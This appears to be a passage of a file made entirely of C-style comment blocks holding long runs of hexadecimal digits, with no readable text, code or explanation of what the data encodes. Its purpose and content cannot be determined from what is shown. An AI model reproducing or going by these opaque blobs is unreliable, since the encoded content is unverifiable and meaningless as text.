a6b5ed185d2941dbd2b6b059455227b886895e6155738afb914b8978e2e9a0add7a7f142b5d1d07edfd7e8cd09816d67c3d77dd5b235c897a7abae77500dae12fd56bc4f0ed2055800c509c87c701631e0888864df5405aefa0aa14bfc62fcdb80ac821ab433decbe753ee3a620eaf680bdb40e1b84b294148d0d042a758efd977537e41813de2d1afb9421cc5b9f08889a3b05e2e0cf2f61a16cd04dac6c341dabcd9eb3652847733f83972ce544231b0454c4dc1ed48408260b6bcc6fa3373aeb3ad7ab1c65ee94bdee9fbea7867a5dfacf237eb8d6187353353c62a12d8c7eae581a8490a2f13ad1537a8b278055616b86df791c6327a9e7ffbe1e267940b99f3baa50c8a20d49916f014bfc0e63fa18a9b26d2ef7eb15d5ea132161ed634bc54ff1577904d86c74207bdc1a13ee252da67f784723ec3eebfbd3a42247bec491fa1032653a0d6faf206b3e7d07f2af33af0a8f2c6c9d10660a6c5fa8e9385e45042ea733260c607d6e9cc666e9c6375b4c99122e12f652269020225bf1d2eae22c8dea7d5bd6e4d110cbc1c3399f48c7137607ad9e52c604f68495d96bcbc6b11d45d61ae08806c62e70cceadd8d7723b7c7598526843953d9f521d1fa5af6eb6a6576ad578b5574a9efe61d8c02b95bd9668db279f0e8461a6fed7713de7f59dab66ee9219f8815f65fc82347dbcc9272238b492b8df58dd3d75ecc54c506eb133ccb95ae3c7342be459cfc0afc36f50ac571e12f6ff2240a09123e2de7f4be0eccaf9e5757b305795e660f0a71e1d33095c0fbe1d044b39f3fda9f92fcfd61ac3a03f722cbf568acafe43be29f1570124ad8dce2732bd268d3cfff9a1786ef4055890afb3a2b87ffd4044d397e504cc18d2829b4f4ac04e9ed98e1abb5db31b1b7a6d470f39755c924a172484321fa5288f2ddf2c79035c5602123ac78fbc0b71cd55b6a07af6c279b0c32f682b82468ad5438a5efa6b71d42af0f810cc58c0a29644f7ca293c2ac7df055d110d99facc947bea08ebc02eb38c673a12c0b2690a92cb07ea9d426be3330f1c186cc20d12cfb679c218f46db6a924ed5ece845d08044f2f6a5a317e88e9d239f275a42a20d02cfcf9158f13d4bb63900a60b98c3cf67c2ec4d5abd583d36645004827c09dad074fffb48932240507a53e7b89b9987ea886af7913c97c4eb08682dbb295fbf42c5103702a0eb931d240cec91650384581540b869955befed9395f6c5c5a2bb063edd1ce1a5ec1721f946b18cf6e0df676ab1002f0fdf8a0b690a4a956743e40e2f8f9e5b584cae6f65ae8bf4587d2707fa3e67d2a7daa51115e92fae4b3aa44f43ef9b72fffc71bae60fb35a5fce02aef1dda552ae644869ed1014679c928ab37e862d42f73a68bbdb4de0980313ce7b4cdb9ac4a1faab25057bb0b1dfe81f0116e01fa878666926ea0be0931e6b23b19fd67842fb5ad50aa58486cbbe4b91c88b26de4034c1ee1cd7868fff7c1349c49e2905566e76a4ff2237652c8af2cd8b9c4aab583aa457e57709cf6c6a2cf1b388845655a4cda38d5c3f7bc4913afa6a9a2b04c82086576032e27faee2c17ffbc6cde61ebc2a2573c5d615e10f96dbda977083f3d7f6bdff731bb695217b498b83d8034316cfe769d6594076ae7fa72afe095b91a83bdf7113aaac53d6b32766c5b971a8d87e1dc9efd239b9be149cd691e7cf8edf9872bf6bafbc00343fc87242a05dd2ed65bd35b23f28c1e511aadceee2a5e8353ff170505cbb08fdbc736e1a169ca08e9fb77b9bf96852841300752db841bbe523090472d5aa1a874c5dbfca25c73e40b7dac7d94a47b8f1e1d65e39585a46c690f89b0bfe59a743c7ed3b933ca12d427f53a*/
/*13950129990d0ef98eec272788b0354530923606bfc32e2a42772dfe10df0d19c8110c6a3be56b8719322166c3558001c48706e13d63021ce83ab21450432d31e46b4536ce0922afa7840a0dfb1870fe719a1b87be920616f3ffd1311d9729c367f6b37c031212a23df78713edb62146bcf0d0762cb5e287190dfae64753e1b5bed698e509ff1236b447f538e4c8e6682996f0ebdd3edccb5aaf3aeba1a3e4bdea11d57cf6f3f92c250acc16b7e4007b60cd6b48fb904e5aab38993f276683072eff1170378ed349ecc6de3a8f5a045bb10c74b9a877d615d1e5e9808927df8667a7522f0913fd37c883a93c369e3a4c982c3e33685c825c465bca68fbcdb4fae9c75d05c33e7aebbb3453bd8872a54b47eb922b267fc3a61927a491cc8f73977e4d1e4309f4ade61f5e8552e10499666e2fa6cde1a8e6a0a6bb8bbcaf1af477c4316f5efff6efe55d7c1894bc624d4c1ccec90fc0761ba2beb4b66691623036d23b621ea2aebbf2d6dc4b00be070fdd36ecff9cffdda6d10851cef08bc67c98b707a93f6fd305fc0fcadc7eb89b8902b6cfc24891658e3be03aa08f3ae4acbb82fccf8693f3eb75bebe194f6d4ad5f62d3b96a1d755a7d4b9ed8a5bb757a8a38883a6733cd64518237c1a04f1ff954906277c598f06e8ae15407f36257de874ff1e120e8a4399b4672c69f5e345cf56f57b8b15dc33ed01d64d578a81c745745f5930d4adff77d425f4c226b6e7126b085024e26e7baea2cf52f9bb374f216b401a37360dbd2673d6ba55af973d20b7369ed6be5d1b410336e187767d17b8ec7bde65732ef2befd84ddc5bf6fac90e02f0cc1b4fa56fd605663a633cfe564523645403da006a1e8387dd6d5a390009a8059d8da47d46265b913344138f1a785582d4c52ce7e4229bb1a4c369f1f4b09559ce8718907c2f68d23c74f5bc2a6f028b72fcced6a6ed1bbf179c82f49a04e35e52c9890ab97f526d4be188f099900a066f27465ac0f8b7120ddc502e1cf6869fee0fb84a10ec41d754ecbc75e3d54250e252b65e42f4104e61f8c8dbfd0d5d4e3eb9a450f6dd185edc49f4e40351735b36d6aa20e8142b146393d0391a6eed206dceac6ecfa207a8f14520f917712af5c3a8ce1ac9b41cfac997c9839f5de9fbe7d4f2a968f4bdd6ee145a08b489e1b554f79229a42bdd6705d2b12c26f0298cba1979f58f09867548bf3a29015609186b9279e1664e5efeb30e760864f272f789d1f892e8a6cbca5394f785efa3eaac426b50feae2087518ff19dd306ca7f7264659c7e08c5897e352a32d598fddc82c677ca8f392cd698d028334b043ff02ef047333596fa534ab07841ac3bfb41479792d7803afc246840fbaa7c4b1c679b9db3539b6d2b0e558257aeebd8cdf52ee4050754c5effcb0263a15a2aae7a3a16af2a5515a46022784807becce27f1334109eb947c51d44153e5680800464937d7aa14e1f4a341f2788f25ff735ab5f7e3789910b6f4601c8942aa78f151d8490d23aa9139c568ff15a627111fd2116af401e20382604420f305faa4c2e560b9073e2a17bf742ea4299a434fd7302951b3b21cdf2cf138ffb07bd7d5960fbc85bdbd976b6ceb100059254744c83f4b85029b9dacd0073cecad1024f5bd559ab942761777cc6d91b516ef60d8a8321954b62bfe3e5f947c1b2a4cbeabefd276fd02183980bdca4195b77681742eccaeb4d76307957f9aab69e1a58312ff60e5687f462823d646b0cf42f2e34bb07d0db6f02d6814b55ae269bd1604999b6ba84a51494656baa98f38af7eae32998959cf113c31bcaacca0af443050035a31f90dae9e843d189bfc7f88c0b9269a1617c0b06a4170c9728892bce0b7c4b8f5e43847cfd7fab863502c8497d8d5bda9080662f52e6e41c5292a170164a2bdaa657486e5062298ff9f9bee332ee0407d1b2126f8ae560d61e6f3a7cc728799bd26e009de2866a986519ba142276ef50437951a9ce8a801a4f0e16f4bc8ea866d5f80d96203daf084190895e637b0bd433230494d5fc989ee634b67871be377b6db59732666e2595ec432a3742b0426e02c634db77c0b57e2e17132ec6f64cc1751eaa7882989eafc1c5c22a86e3cadca8663f485fd1d542fb2560bfbd824d5c196ff3c0c5413cb3fec935fe32b57049d17b9d070e8705ca304e701ded90d24f3e2a60ed75d00c2658e2f0d363278569cee5d49d6d41ad44a9c0b6e91c22b96b5819f73e6e2a8adbb63fbb7d38de75dfd32f56239dde8a288ace9ad3e94c18f8fc3f65eb21de072200c4fce2dd7b9f4cbca3bc9e98c1cc595b9659b98fde526d8511faf4743edc8f073817aefff5a927e1d13486638181ffd11aa14c494f75876b449f515b4590fca67d36be81b64af16c3d6e3126df9d620d801bf3fbcce987c68618d57f2aae5bfe40bd66234a9696be76a4cf6e608e64ebd5b5d1a037cd69fcf0fdb3d975188701e6c619da77ad2f9d2c5f3a27c83cfe080626721e6e36e10920880bc5c0fc4bc4458066a93739a06e47658fbffcaba4faf68d9110197bac56bbdf49b4c6ba515a12ed04431aca8f5fbaba6bc392934382775425d2b5ca38c1ae8b5fc419c26f301b16a40b017ddfa9c251a5ab6d1b3c292c3a0c40d3f9460f94b9c141f2a3acbbd7ca1c410251bf98a3287aef84a049a61488d4365b14539c4a1ea9b63eeb0ea0d0d065254a46666afad20991a4e12bf1ca6100c7c01f3c04593cf4b540fac2ab9eaa547f882938fc7fda77048d201b56d210068bb9aadf7f8784b3bbad8f35e6ef687b06d5fef44a4019560187b29251a92d94c6bc07a987*/
/*b089898e8aee301a3377cd8d32035a3f47fb645abc9a76fb4ffe7661eac27e549ac1eac9ef84852627c3c26170bfd7d5351169205f6a49f79389bdb8248e56b01f0311361de757fa4c9467fe8e4828055c8663437489594718f6f0ab7786166e2592f0a572b66c68ea71382556d2a48f86b5891443530d5a76a1a51c78f5dab5fadeaa5594541dacd19aa5c6172997ec01ee05c78628a41481f79b8c6d6c33ee19da9b07aa60044fc89341855c3c21775533b19b387394c6fb740b7bcc2e04084c23b2b72a45c7f839fcfebf1e166bb8436a4b779b3e59c45bd3db9db059a1da9430a746a005b222b21448b2ed5ed63b70b1144ee312534150a9e5808ee66edbf06a49c97513cb5a17079b7dd76d80b8f9b1e22fd075c5ac98e149eeabdaa3a6e51e7b26bbcb7f7249c883755602bfa2e8b70faaa3a0f657089af72256622acb32103aeed220b39ffbd92012947eaff2660a8b60bf6353d42e84c47eac5720d647741d446cb440f8d5e5017cb5064cdb192b2fa693e9fca99a0195ac9b0e94eeac6f54665400ab0ecfdd753cfd3c5c260339937bd5275c428aa960b5451ee280d2689d599a2638c9d63cc46db0859cb91ee162c160473e312a4642261c0cdeead6ac5072bd84e6ee2c30c768685f34c6de3668383fedfe2e69725fc2252af0a494c7a7ec9e56bab89baa838b9f445fb275ad7e3a6fef96cfaf268a35a322e1850b0ebaa1564483e20d391736a4b3c229c5e1a20a7fc23150dd3bb44a75407b50d438f8228445411d80816ef86f509ba5803c59e9b4a5d6eef5d7572ade97d8edbd15f62660b27d68c76999bf46032700b16b46dc3c8e111bebbecd2f9d107e302bd2c1eb62d89839655fa83fbf4ed04913fcfa760f634d2a6564422d8547657b371d0ab0ef8d285fa1e72562d2ed0c82aae2358cb3e62937a2281c8b34e2fc37b18d458d4bbd1b5e490465aa8702e872ca5325e70a050968a98c8f9c9e1a2e8bd69f827ac5a3d320dce4de0805030e8fdbc006b424dfb7a8e6f99c6eabba9c849600fd2bbad332dc9d9bf192198caf164054c36b5709d41462e9b10cc0144b630366dd770045ce0876c84202fe6344f202166202244a296a5fb2953046b65fcd97723fe9dd1bb8a0255844a881a019eed7814f5f92c3826aa60aecd8ee7ef83649f130d9ee65c78b9540723cf4ecf6bb11cc4614bf83dc36279eeac26a48a229fa2f23587f3aed365416cadc7542ddbf179ffe69c395126bc1b1290dfc0e55e53e92d5a1fe1c25d554c9fe56260574ba9e5c9b01d40156cd8b61e5b7dd2fb8b98dec89dcb77e62c3a6cf0ce919ef47c936f29ac0cb34ae13527583efc3a1b2a52ceaa60650a013d1432e21801b7363d9fc22ea0257398b4ec55237cb7b3f8ae463e4a51a8cd230672736a4b6a04974f6a126a6439dafef797403d384700da37983e084d9b86c9b79f8a016e4b5163362b2254b9b2b683de9bdfb027be48d86153ac620753c3116449fcc87b0ce15f7a9103f4dc2f5663f8f228d147499257e2358136bd0a586d081bd563d52b4893730081a5c316703e0df6621cb031f6401a931a55799694e3447417ca8a28a55097d1462097deeba84f52b82fe7ff0aa179ccf33cd5c63e5c96661a7c362ce19bb6d79b4278e34658ec8fbf2e5b78e1715c01ce1437d41068d8d8e62dc08a011d14875fc668c7a7e560c9d629c5042a5ccc65c23017bbebc152fb84a493f9a8b45b6c539d02a05752fee9371ff8523491907d540ecc87f37f0ac417ccebb87e24c30fafc01d0c1067ae3ed2823754a4cc5afd13a16614744f927fb8b5adeafed10282473b6bf3cb72e3606ca69a1e4a4efe6590068abac69a048ac4690757f32fb7a78f7a119cc898eb6586ba555b59d0721bcdde54d0617abebaea67e30b6f1b1e4247bdf2537f50ad89b76fa114e95a98a82601e340cfa1937f60b3c4469837df4bfc5ba387c59e8a91fd0d847763bb702d91797a69d466a77b6268325621c88a4fac4e86a12e42410cfcba58e3cd634e7f9adc8a872f0e481bb0cd03b5b60159233a924e5ee100c76f3b65b0949d045681f2f9406518a8dde2f07db31433bc032181d7a8324a8e3d4b6161c74234de0db42598a54ac6b258d4098f5f334987f08cdcc591d591578bf37b7d4ab22fe1fb305511c16b5b091b06d61c0c3b607b1a03bdba4f95d0f18510bbe2b96465f099f45214e1aedb34e625dc430d6d90ffb3f222643e91f2fc1396aaf8f9c86bdc99c501051b31f602b72662abde55beff500ee33b52820e2dada151cd99f3d1c9b667dbd77bda4f982ef096a8f4a22761ebeac0691553d06e082a495519bde627ff384104074ff820fcf9a4fa8b0cd205eced1803069976ceeacf3ef816da2f8ea2572d7c92632d4f82316db81a80f7211b192b08ba15885cb42d05a2429b8c012fd2a400e1a4310afb46f3e3bf4eb4b0237d10eb9207140d1343ec493bf788ce623eb90546013ee8c159ce6ff6c01a06a3e97ae169284afd6b4ac5b6b0acbef12c6d293c1bf5db6f6d41aac551cf7b9d839162b3882c9ba3f1e5c79434793365615b5515ca1a71fb9123c628c4671eafedbb743ea7388d778d5b9c25bf8593785872174eebfea6cf39d1c2c20cccd006e1367332aa46583983b683e9b826967cd4e04db7036c40c846685f49ad2798601cd06effd7e4bcdd5118ba7af784377f5759769ed83a3c6d0e67abf87dd16acbd318e3ecd18eeb86db71ae720dbff449319967e314d38257fe42cfb7708cdb1ee310c2ecda0ce94d995c1961d782a897f174c1bf9a3431cd602a43c16997f05cb1e*/
/*c7c58ed9c8f939e722df770cad5d66824525c5b32129a1687dc682bc721a573664e818520189f7dc35e0346143227c8647641b473835ed6377bdceb562ac4f1e0b504e041524aca4a1faf16c560def1f29d2d6522c91cb29321a1fe3056b4d6ba67eb120dbfc2dd8acb25a5e1c7198dc6a948cb3c9de6dc744d29d347bb95194d21644337ec01e1f9ea139ea350ab9d928dc570b38b6f563245fd5a0d70adbef346ee92714468c3230494b44a0b22368bc7d954bca7ba42feefaf87543b3393dd9b3c20cfc88d33991252284d755f262e52c4eb79559ad81dabc9eae12d6e484ce72d83268121082f8921b8231ccbee6f1f29d0f56b706a524a9a0aefa22b4cad067a84663794aaa7ac7992528c8ecd65ffa23c8625c36a93e96a85c6db33babdcce313649bdf06661aab56bcfa69086a7f4d98b1dea3b77a35039253fc9276666818cc7608a790e7ac0060fd9f6eb552952dae359819f7809134086ea82f54005cc35eb4c67343b067cbe53f0a2a5ae81cb61be1beb55a83893d369ea8b030e81ab2e291b9a9b945ae2e7eb0cb993eea861a270cf3b90717f9173acd07a30b309497cdae0e42605ef3540caaaaaa072de6e87266684f94d892f8b9fdb98ef8fb7ffe0568ff275fd6c25ce5eaa14917ffd94e63894ad8ab66f409d780a76078762842e21805992478a64e701f068fed95e0f9a416a2763fc6b09a4a17350f92e184431279b54193bea5cf7b9714afd797a42cabd1abdac80847664702f0931150d9f0bec1185c5cbe69042d5b76025c55e1ee0e7b3f44372c978630c210e3d66eaf3822646eedc7050ef366e25d6fb7e9918376c1c38f3c266538db66874c46ac954de9a052804c7ea99d8e474809682ba4d4c8499cc9cc9f12f5c264b38cef5ea9b13318f927f7ad171494f3a64dc56a7f117f4cba684bf5fdf59d74d0afbd1c60e3ef6a0bd7f91777f58aa6ea9c24771b9ecc03a128e34d6ec0e6003e7ad27cb67de83b00740591ef061e7abfcdde275bfc92df554172da4dfb3d7f224a6475d2bec58849c032eeb1eb11df3008edc3e1e23781facfa550b310871e997540d27e685dafb49bf0ad52ab51d7a6e02c92d3a83df3eb30e688acb3d53b66b4b7627926289af13d3aa755d7e66f2743b35168d54139c1d1e4f66a1b283081f68f2b3dd0816df716a1069a33aea0c0f2a6d2f2d27d18da5ff7245c667dbb4b4464c09440963f88359485e912028a52b0dc5b07a6c63e08ef48c37a871c3ec8599cca76ff472dee9a7787636ac3822b23a339cd74ec2748c45c0f7cd9f290f37f38a29c1b93b30a41b69eaab535d6d9aa196244583c9f4121f934e0c1a8f495c996eac8390176417864f239c5ae9dff232b2a8d1baf241aeb68b4e992943ad44c1a8fe88ca7d078508eca9ad545103e61f560e8936eb1f148cfacf009e4b8676c9467c5c45f09692bf4639fc0ab47aa2a3c0b82383186610e3ee8917c306edbe27728053a8dbece0640a3833ab1e262e0e99aae4b52602005dd3123e0f6899bd532d15f392b9234abca665a64f35af12dbb29a0652a009b7757fee3bf6b92de9d1094723194bf5f722908664d511b76fbab2389662e2e9cb44f4d11170b8bdeff32a85dea57a50a1b1a93ca756b9ad5c5c499c7c2cdb88586ee64ef6a7e23e9e5addbef61f551589f196e4f1578b787579b9003d226d5d7864703af9d2e76739b40a1bd341b4105e514a85944221491d132ea78c0cb6dca134f8a3d9bf0c5ea54d04bdf1e308dc7928d18933d3a18b1502a19fccd9687a24d319963d72a22d1eb3b971010c8f012f6eb168603818cc3e0acc33b48f84392260532d04b2a4df0b9a7cf02e32cbfd0020f068a19b43c3e4144b4ea884f399e7150ed92acb1d609dfdf81151d8946a110df8772a3f2c1d2182a845bb3fc1650fe1e70453cc520c283d759c61305b594394853fefa454701f324bfdf4b89376111901f4354d39234fe84aa543b25a62317f5505f698883a8bb686fcd0328e8bd7814ceaaed8d3fa8e30e47effca24ac97c56d072a721378446d8b67510b49bdf44925a2b00f48f2e5b71293edd85ee06d3187300c260fc84dfca9d727176fe4d4f3cdeb9cdfc8bc35165103afb24692a5ab4fa4800664d3cd665751a3bb2fdf2bb1d92cf7c5a903548142ca63f79a0a94766a36fa3b7013a4995e47f804fe7c6535d1cf1b875df0f3b9b6fba4b3b09d79f2563054cfe427e9080a96d43fff1335119f11f49e5af2ae27eb4a4121ef8480d7d49471f0c2ecd8629de84277a388838bc4351201714539118e8ba43d5234f4d85d865b27b9c7747162cc34dd2746fa62c3b4e4334363da9f4aac6f1588b2827590a9eeacec3992f3c8ba7cbee18199aa7f897f9f4f0f783a5aa0e9350bed2cbc36f7ea84b448c8c7bf52bbf46a6c43fc6189f38517f00b0ff0e8bb470cff466e75e54c5807942b24c37603fd3548f9d31a6c8866769ea45ee14b07ecfb8a4aebc11dae4130e7664048bd24a09ee404ecf04b1499bc3adfe1d96176969daefb2dc527d02a0e1e67aa55a413de1a52a388111a18b251945da372341e6cd88a2b3db77018b8fb8da0ec6a6aac9f148284e094440eda6993e2d375d7fa415b8e0e02df7aab695836f7e946cea0cacc911ee610e015c6fa0a7005b68a941bab39305c48e078c1e70dcb6f68e30b101072698bc61bc3f8805b92d12dbb8dbb2cd81a48b3e54359f9dae8027335641de5ce330d090260b8f82d9a0a66d947b6a23337e66df47ba0b64604f8532d1f6ab868e60dad56e4bf963364c17a42293b5c43401bf845e9ef49cef64b9e*/
/*6db15d260110c94f19f34f28a96f7506be1c42e0b0b9c374266594914f42b74e4e186dcb8a9d99ef5f0d87a5f5c7b94f2e7a880173af0f33b405a9ea21087f08655bae328d7a67a6be659c819f69ee67525190d4cfe6f1446e932aba9021581810073ef15c1f107d5d7eb0e3c7677a7bcaba25adce2f87978c57c29825347f9bc5797ae24eecf138613738fce1f9bbc0c0e46fe295e1643ca1436a808aad1e1210ec3fad3a39571b5ac90e19aa5c8a8b2b39eb3fdf9087a4956056d4ac90c42858dff9bd5ffae852fbdb243fb0da2503ef0952a645c1de7ecff8fcfd75473c5b602866b1590bd66695d5b27471a6f3d83befa9b2215aa818bb01a83a1c76fc721991cdc053364987a73e7b18b5a578ff3a7515a1a424b383dc0875bfde29ff1ba049a876046cb4e52d69dd78b05e6861b489ac025ce0e49c0c8e3af3772d2e52f81aa248901a8068c97b28f69703ac26238d58c552cabf4c6ecb719d5a1e2d662f26a8da457e9dd36b3c2412567dee1862f9dd62b89f220fb96462261e0a81b6f54a3f9a3d3071d2948e28118ffa956dd71ef22f9d1971103c32d09992dbc1800880fc8010a6f6895104dcad6b49eae8c8f83732ee462ecf58f0f9b3926dfb42346c5ea291e369f4a23abc10dcc6c8201082f8727018a094089f07b879d2cc8346bf86a08527cb55c4c908311591c479ffaf845f1f2491b19d2fd589cc029c09ce1f8c02011ccd49dc42a82fe9abb4c194a60847e92cf0c5e4a21648ab5f5a3ec09d76d526b16bd02e7f8c6e52d8d1fe9711727dd89847e6f6c2477be15aab450883b2fd6022961e40ea560fb3087526e50c8c7d415c50b300913192f50d209c40ba71beea90b99e4d3343a09333d192bb82b3fda485068bd407e0038e16172f7f253ee56556366eb2df9e95d923291679dcfb0a10410a37ffb568e0a0396be5aa8074b59959d8afd9bf65952b24b2b01fee6e6d173bef3791f5776cf41539a82fb6d94569856c94768a7317f341a6a6a9e2cfbc3f21991f235f49073bcb8198b1e61a0975cf42653651f753ab0a03714fd289cdbb01134372f43494bc0aea1fc594d1c7554bb36705dfac50b990740f50d0018a1a9cbd68d1b682a5a8c38a08e51f531ebefd838dde364ee6e60aa1b1ad39d639866ce2ddcd23d801d47ac81aa8c135a2ed5b167de9cb3229ca18438ede7be2478ada9e925fda0e374192f07f695d054ed9a5d168d5c05e1a2022b0175a0b748a0616cade4b41800aef3deb93144a31095b922b60eeb327bd4d6ee459e1031222d5f72abfc43eb9daca5dd48857d435c2ede7d6ce2739a1ed2e6a8742a513ae33ccd01ad26db04b69efdd4046aa118af208ffedf96757180c4c6f0c1a116f5b7c596f5dfa56d3dd3b8dab2b4623c58b5bacd1bf97ed0a0491294d36db92dc3f446167825149930fff1fffc7377b699eb0851770cd3f34824bf5e8aa05159af99ea3d9fbbd903bae7b41c868fd698037b24f538f3bb5d6a2f0271e7b3da61c296689942ac71ef4e7c4cc879ed6e8c461dec79d6ce99af1d99fbe4c592c8a088750c064973d44c07ba5c23c6b74374cd25702c738bee8aae60617bc04bcae375621a1b470231ac7c60591708843f36faf01d629952be3752f8430ee04d1752c0f2ba7b95c91a4ee1898898ed649a781b1bcdde22d6a1edbc474acdae96e47a562ba8cf434c4a367aa4f6bf4e8750f773f970f2d9a15fac2b082264348b08955d918110020b8dbafca1f2f172e8187e4a3fe5491634f33afb1b53c28bd178f503076b901adebb0120fb8a9347d87b65a3bfec8e969ccefec4036937ed4bbca39787d803ae3f410b123412eb87e2bd5614a9d773fd5bf19cabc2c0bf585a992ae73a87ac27aeac303b0aa160f3ceaff0aedb61b6b113259cbf1f185d26c132ea32f0f45f990c585a4f0e964e26ad74779617e8924104e5da08a0ca7f0ce52f15b933271cf98b44f6b308dfc9a04dbc0e8a1d3bb020a1dbdd41e27007a80b820780e4b30ddd88e703e2d837ecebb3ffca0946220a17fbbe6d66bbc0f80d28d3bfa575caa879b49513dc745fc522ac9a04472a940eff731eafd121dea7db2c06f1b6f00823a2fec4a809b58aa28195e699356188ef6bedea9d0d10cc3041049b848c5ac54a122c0d4436e64150a28513767a1ee9e77352b18ba72b8981ad06d01b2f62298819e6ae900d859bcb281696bb5b458fe8f85c81332242dd6e260927df1e6e28c418e25cf95b8ec0884cd0010474edfd1d4a3eb1518ee7dcfc62e3510a1d59f9634a34623b9bbcec2f22c3a1d7cf5eec9704476fc40216301aa08c9ab5c769cddc41700184d2bf4bbaf8a57f95938e8044864ceab72d14c03a809f452e84073217b86ae346ab7a1e05497c79262dd5e5d380df3ff16b6c813e96307cc6f23963f66e05911a2deb085e6ea28aa6d1f69f5287ff38634d8f47aec50eeae1b63138d3fd480835331fd5c7e122eb0df491986ee8b9d557a7877022f85d2a82045c1fccecbd16ad8b98f9bbfec89cddcddd8c5623e6a03f79f192a087a7559be5227fea906b517aeb6203c4b7304531cfcd95b644904efead2db8d4c7bb12f77d386da1728e9f2fafd09a0b2f702378e1354ad69a57ddad6d7477779657c536a1e5513bdd81bdcb8ef21dec7b833989f17d845cba7c299d6ce9b819cd7b012f0cbb33dca5d2da1dc27303fccdf65c42c751fa35ed89094a53e0295259e20a972ac6479de70f39994fce335d2ee316e59beea72de9463edbb50b86ee40ccd15a3040a790a6d41cef2e0a68461a5f4f8ae2954e43696b7530874f4ef7f11b5*/
/*c7659b09d4a5d9d0bb48d7d1ad0fc2fa32581f595ee473ddd18afa42c4e95fe9072b4425b12c1f5aa1d1a981eadddfeedfd6a37758c122e9f78333b580932120b536c3a399a486209438f43808729b11074a6ad22f8ff7411123c26dd910e13948cca13814c4669f186c6df9ca946ed8cacfc92ac9ef5036fc6eb11cbd7c8d1ad80bdac14bf7e6e4a0d5aabf1c3ae3f5e83606bc69ba38ffded6481a6a84a91f6a357ce87dc8d7be6673bbc4033f9166497efa2c13111d9dcdd0713c0fe65f46efa7132f0f2152880e3f75b3d9713708b3264a964a31a9a7fc9078bcf3681168d8eab7c78f05218c10b0f682483186a256bed4965f9e21daf7058cef185d27ce4ca0241ae52e9dc1ff43f267d42d96533198d514b67a32b498ea1a4c838c7cf2ec9d1d58fd987f958995ddd42d496f152365dccc688cf14689e069d7cf3c55104f5c853d83eea81f1efed5fe6c96ac87ef42208a4658398cd3f4a6232d520f48eba69641a8c5e83b20d461e6be48f4f068de8c9ea96bdddea03075bcb736a6de29655a66b429b3ce7f499afe5320bd45f5f34c8b340050b577b5658ce15923494b280eb09782b5e759fe32317e100f560cb9df1225a26ccc0cf014d395efc8ae81e30ee1cd85cc0ac45eb5245f28410c03bc59d60f2ae634cca450908dbe84e319f40e1e71db7317362a766288670414ffdc3e27fc7a72a83729cfdda669de84e9861f1cc7a56aa904de77c4d7ffd42f3011ac1e8e1a80996ebf065942b50611840bb7f7d6782b288cb6154182aecc309c1d8dd6616b9c124a042306a12756c2ad93adf0c1ce1b40c8d99b173f783c5df22b9597138a6b92734a3f1531f9b8340c28f7f9353c80591029da47b3285efde9a46f6127b3ff5ccb5ce8bd487ee2b0ac32eaf03dbc55cbe03dae4be54d6c6c630d1de81b67df459bec4560beea7dce3588c545a3d5c03fe512629cb8020e200d197ac45719e36eecc7b2cfc8a93129410593f51c03ce2dd5bbb34af774d020400d46bac2b0ebebd6377c045ac1ffb1229aa2ac3c00a04f6631a57466dd7cf9fff7d491847cce4b6152f436cf5c86d4acc00b0f920ce960ced214c87fc6d8cc0403f6b482f16d3b47e184ac0136239dc286bf67f799e7e9fef8767c0da4e9e4665fa5b402af22d4014ec9149e76b38b9cc1a9e7e280e1b51bc81abf7784e943c857932639c47f3be9713f6e9bb48f56ec5f4c5821a1d2439938e1cb65e500c89781c58a2ef2efc8cfe8bafab60cd06cd3e83094063072b51909605e67c27a71e9d11c8e715b4b7cc84d44f7773b994669570a24ab8cd879bbefc62d3748c49788e4c5d516945dd44ff62b74cc411393ef36df2f21f9454322acbc0c87274cfad13e70bb3a1e3899fe6f74d16d70f70aceaa094fbdb1b0aa0b4eb2b9c4a475976a742f4bb854ec273c3f3bd0a373cb0ad6a815f1c9f75e3aad5bacd639051f8f76ad2ad9c5f75a33dfc954bb9443c53f768158f3a003e0ee39319ccfbfcf6932d78d34daed52db42c5a10559d3040c356a6f3a7c45a92e76c678301610688f8bb869a25a1e674fd4d0c6930d16943921886bd9483dadd403a7f1b7725811a5cd6d6dc12f8cbc39d1376ee77cbaa44c3b040e2abe582f2cec33ef8e17af4fa394449424c1df9bb83c40e3ab08c9995526024de8c88d6b1ed0d5167c4497ea9583100362a289a67b61779b70bf4e53e33c7efd8ca659c18a3066d72e61f278281d8009f48b518c13a208e0ecb974beba6f213dbae29777db75b38b98dc6bf27d30a4c123045f35c2b413aafc7cdd5ad546275c216688acf3a3a33bd3a487f1d1a0d279fb7c56ece9c4a8a2889ac420e5092fefc4815811f95b38349fb94b1b4085a9841e71fce4b9aea1b20b37541d85b0090dfb845c8c51d5902d1f8ff9f61f47be9336e0b35cf4ebc8add50a53e1b30656e2b8cccc149631b6c5ceb2a27ac32cf63bb5f35c944496d6a878a3e7de8f9c48680a5bc04be251bbeaab7a2e147e8ec19d2c770dfd735ec085a02502e8d56c305cf7a9c9dd7d78f614ca70de95941700adfd16da3dcfe5c430e0b812306d12939e72e94f88714577cab0ba5ca674fe8b3d53ca23320eca6ec2386f8a9ac2a08f383edba16c86e67ff70be04083b9f4ed5b14ff80e90da6dea19e79b9ebb7efd6e8e850e3aee03cd36e864cca3803ded8e99971002278b6c42c7c61ca5df977bf5a3767b5c2259a9701430a3fba2118f0c73bc9425db6db851adc92086cae15e4a1a927cf1e2347decd6e24959b6d3207d3f207d49a9350f76e067a22a7e4e1e0a167884bdf17e0491a29afa8f71f84dc515a7880d24719d0e5f666cdf5704958e7fe61a0b3a314eecf3793cc8cfa7fe5e563a295a2482e4d9eb1ff3b598d82c1ec9ec5860d963190ba52356a32801c5d8239d654eb3c4440663f4226f405a781e31c59f7107e7adbc5bffc90e3f87b97dcabc2cba514ab654ee073eb34c211cf3f4c737b4fc42963a7a1ae52d0a40798ba423cc06bcadf15d637a80ce286e653159c406287d692686684b188e61a4845091726ec18f401a99ecb5bfa084889de403ad514d070a63b4680326e69be243c6099a42498858fb721d808cbb640b2d4d48cb90ab3bd76321839e6e34d6b920bb5ccb6d345b5470bf8c7470d600d376a67213f2eb9d2716cc856b8955df91ece8d4bd9b585e646155e96d1c57f3ce52b0f1bc2d15890df66f798114ce50072b4faafb601e952260faf4e0af3ecf58b8ab4c016c5676ee97ca843f60c7a1ebf61c841ef6bf703f9b6d9c0640dbf57f42b94bb40cb3c516ace3c0837c562ae0d*/
